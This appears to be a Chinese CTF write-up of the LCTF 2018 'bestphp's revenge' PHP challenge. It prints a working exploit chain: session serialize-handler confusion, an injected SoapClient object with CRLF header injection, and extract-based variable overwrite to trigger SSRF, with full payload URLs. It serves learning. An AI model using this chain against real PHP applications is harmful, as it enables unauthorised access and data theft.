2018 lctf-web 學習篇
題目很給力,能學到很多,而且做起來沒有什麼彎彎繞繞的東西,一般都直接給了程式碼
但就是程式碼都給了,然後無從下手,第一天對著程式碼發呆了一天,打自閉了。。。
賽後瘋狂學習一波。
bestphp’s revenge
程式碼量不多,直接貼上來
<?php highlight_file(__FILE__); $b = 'implode'; call_user_func($_GET[f],$_POST); session_start(); if(isset($_GET[name])){ $_SESSION[name] = $_GET[name]; } var_dump($_SESSION); $a = array(reset($_SESSION),'welcome_to_the_lctf2018'); call_user_func($b,$a); ?>
還有一個flag.php
session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag!
很明顯需要一個SSRF(或者直接getshell?),難點在 call_user_func
的第二個引數傳入了一個 $_POST
陣列
直接傳陣列的函式確實想不起來幾個,更別提什麼危險函數了
做到下午給了個反序列化的提示,就知道應該和SOAP這個原生類有關係,但還是不知道怎麼觸發
就不多bb自己辛酸的解題史了(反正最後也沒做出來),直接說下正確的解法
SESSION反序列化
以前一直都知道session是通過反序列化的方式存放在一個臨時檔案中的,本來想具體研究一下的,但由於懶也沒深究了
可以參考 ofollow,noindex">https://blog.spoock.com/2016/10/16/php-serialize-problem/
裡面提到,有三種存放session的方式,對應著phpinfo中的 session.serialize_handler
- php (預設): key|$serialize
鍵名+豎線+經過serialize()函式序列處理的值
例如:name|s:6:”kingkk”; - php_serialize : $serialize
經過serialize()函式序列化處理的值
例如:a:1:{s:4:”name”;s:6:”kingkk”;} - php_binary : ascii(len) key $serialize()
鍵名的長度對應的ASCII字元+鍵名+經過serialize()函式序列化處理的值
例如:names:6:”kingkk” //第一個字元為chr(6)
當在不同的 serialize_handler
中切換的時候,會產生一個安全問題
例如當一開始是以 php_serialize
方式儲存之後,在字串中間添加了一個 |
第二次以 php
方式進行反序列化,只要控制 |
後面的字元傳為一個反序列化字串,就會自動進行反序列化
雖然最後會有一個不可控的 ";}
結尾字元,但是親測反序列化字元後面可以新增一些髒字符,但是前面不行
Soap SSRF
作為一個php的原生類,反序列化時可以利用SOAP/">SOAP進行SSRF攻擊,還能進行 CRLF
注入,
有wupco師傅和檸檬的文章中寫的蠻詳細的了,我就不復述了
https://xz.aliyun.com/t/2148#toc-0
https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label1_0
原生類解決了很多找不到類的情況的麻煩,但是利用Soap進行SSRF也有兩個需要注意的點
__call
回到題解上
檢視 session_start
的官方文件就可以看到,允許其中傳入一個數組,來設定 session.
的一些引數
這樣,我們就可以利用 call_user_func($_GET[f],$_POST);
來設定 session.serialize_handler
的值,從而進行Soap的反序列化
<?php $a = new SoapClient(null, array( 'location' => "http://127.0.0.1/flag.php", 'user_agent' => "AAA:BBB\r\n"."Cookie:PHPSESSID=22704eeclr7famlh9s21m9to26", 'uri' => "123" )); $s = serialize($a); echo urlencode($s);
http://172.81.210.82/?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2Flocalhost%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A52%3A%22AAA%3ABBB%0D%0ACookie%3APHPSESSID%3Db8govp8041cfm1cb307bsf66v3%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D serialize_handler=php_serialize
提交之後,就能看到,這裡以 php_serialize
模式儲存session的時候,會顯示 name
的value值是一個序列化字串
當我們直接訪問這個頁面,也就是以 php
的預設模式開啟session的時候,就可以
就可以看到,這裡將 |
後面的反序列化字串,反序列化成了一個 Soap
類
要觸發 Soap
的SSRF,還得需要觸發它的 __call
方法,這樣我們就可以嘗試利用 extract
覆蓋掉變數 $b
去呼叫一個不存在的方法,就會觸發SSRF
http://172.81.210.82/?f=extract&name=Soapclient b=call_user_func
這樣,就可以讓Soap帶上自己的Cookie去訪問flag.php,再次重新整理頁面,就可以看到flag了